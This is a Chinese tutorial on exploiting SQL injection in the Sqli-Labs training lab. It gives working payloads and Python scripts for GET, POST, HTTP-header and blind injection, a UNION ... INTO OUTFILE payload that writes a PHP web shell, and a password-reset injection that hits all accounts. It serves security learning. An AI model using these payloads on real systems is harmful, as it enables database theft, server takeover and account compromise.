从GET到Cookie:用Sqli-Labs靶场实战拆解SQL注入的5种典型场景(附脚本)
在Web安全领域,SQL注入始终是OWASP Top 10中的常客。不同于教科书式的理论讲解,本文将带您深入Sqli-Labs靶场,通过五个典型攻击场景的实战演示,揭示SQL注入从基础到高阶的完整攻击链。无论您是刚入门的安全测试工程师,还是希望提升实战能力的开发者,都能从中获得可直接复用的技术方案。
1. URL参数注入:GET请求的攻防博弈
GET请求作为Web应用最基础的交互方式,其参数直接暴露在URL中的特性使其成为SQL注入的首选目标。以Sqli-Labs Less-1为例,当看到?id=1返回用户数据时,有经验的安全人员会立即意识到可能存在字符拼接漏洞。
闭合方式判断的黄金法则:
- 输入
\观察报错信息(如\'提示单引号闭合) - 尝试
?id=1' --+验证闭合有效性 - 通过
order by二分法确定字段数
# 自动化闭合检测脚本示例 import requests def detect_closure(target_url): test_chars = ["'", "\"", "')", "\")", "'))", "\"))"] for char in test_chars: payload = f"1{char} -- " r = requests.get(f"{target_url}?id={payload}") if "error" not in r.text: return char return None联合查询的实战技巧:
- 使用
-1'确保原查询返回空集 information_schema数据库是数据字典的钥匙group_concat()与十六进制编码优化结果显示
注意:实际测试中应避免使用
--+这类明显特征,可替换为#或URL编码后的注释符
2. POST表单注入:登录框背后的危险
从Less-11开始,攻击面转向POST请求。这类注入常出现在登录验证、搜索框等场景,相比GET注入更具隐蔽性。通过Burp Suite拦截修改请求,我们可以发现:
POST注入的三大特征:
- 输入点可能在username/password等多个字段
- 错误信息可能被前端过滤
- 需要处理会话状态(如Cookie)
POST /Less-11/ HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded uname=admin' union select 1,database()#&passwd=123&submit=Submit自动化爆破表结构脚本:
import requests from urllib.parse import quote def post_injection(target_url, payload): session = requests.Session() data = { "uname": quote(payload), "passwd": "test", "submit": "Submit" } return session.post(target_url, data=data).text3. HTTP头注入:被忽视的攻击向量
Less-18到Less-22展示了更隐蔽的注入点——HTTP头部。这些场景模拟了真实环境中用户可控的UA、Referer、Cookie等头的处理漏洞。
头部注入的突破点:
- User-Agent:Web统计模块常记录此信息
- X-Forwarded-For:IP地址伪造场景
- Cookie:身份验证令牌处理不当
# 使用curl测试User-Agent注入 curl -H "User-Agent: ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1" http://localhost/Less-18/Base64编码绕过的技巧:
import base64 def build_cookie_payload(sql): payload = f"admin' {sql} -- " return base64.b64encode(payload.encode()).decode()4. 盲注技术:无回显场景的破局之道
当应用不返回具体错误信息时,布尔盲注和时间盲注成为唯一选择。Less-5和Less-8的对比展示了这两种技术的差异:
盲注类型选择矩阵:
| 特征 | 布尔盲注 | 时间盲注 |
|---|---|---|
| 页面内容差异 | 有 | 无 |
| 适用场景 | 条件响应 | 统一响应 |
| 检测速度 | 快 | 慢 |
| 典型Payload | and 1=1 | sleep(5) |
时间盲注优化策略:
- 使用
if(condition, sleep, null)减少请求量 - 二分法加速字符猜解
- 并行请求提升效率
# 时间盲注自动化脚本 import time def time_based_injection(url, payload): start = time.time() requests.get(f"{url}?id={payload}") return time.time() - start > 35. 二阶注入与文件导出:持久化攻击
Less-7的文件导出和Less-17的密码修改功能,展示了SQL注入如何引发更严重的后续攻击:
文件导出的关键条件:
- 知道绝对路径(通过报错信息或配置文件泄露)
- 有文件写入权限(
secure_file_priv设置) - 能控制写入内容(避免被转义)
-- 导出WebShell的典型Payload ?id=1')) union select 1,"<?php system($_GET['cmd']);?>",3 into outfile "/var/www/html/shell.php" --+二阶注入的隐蔽特性:
- 恶意数据先被存储后触发
- 绕过即时检测机制
- 常见于用户注册、评论等功能
在Less-17的密码重置功能中,攻击者可以构造:
' or 1=1#这将导致所有用户密码被重置,而非仅修改目标账户。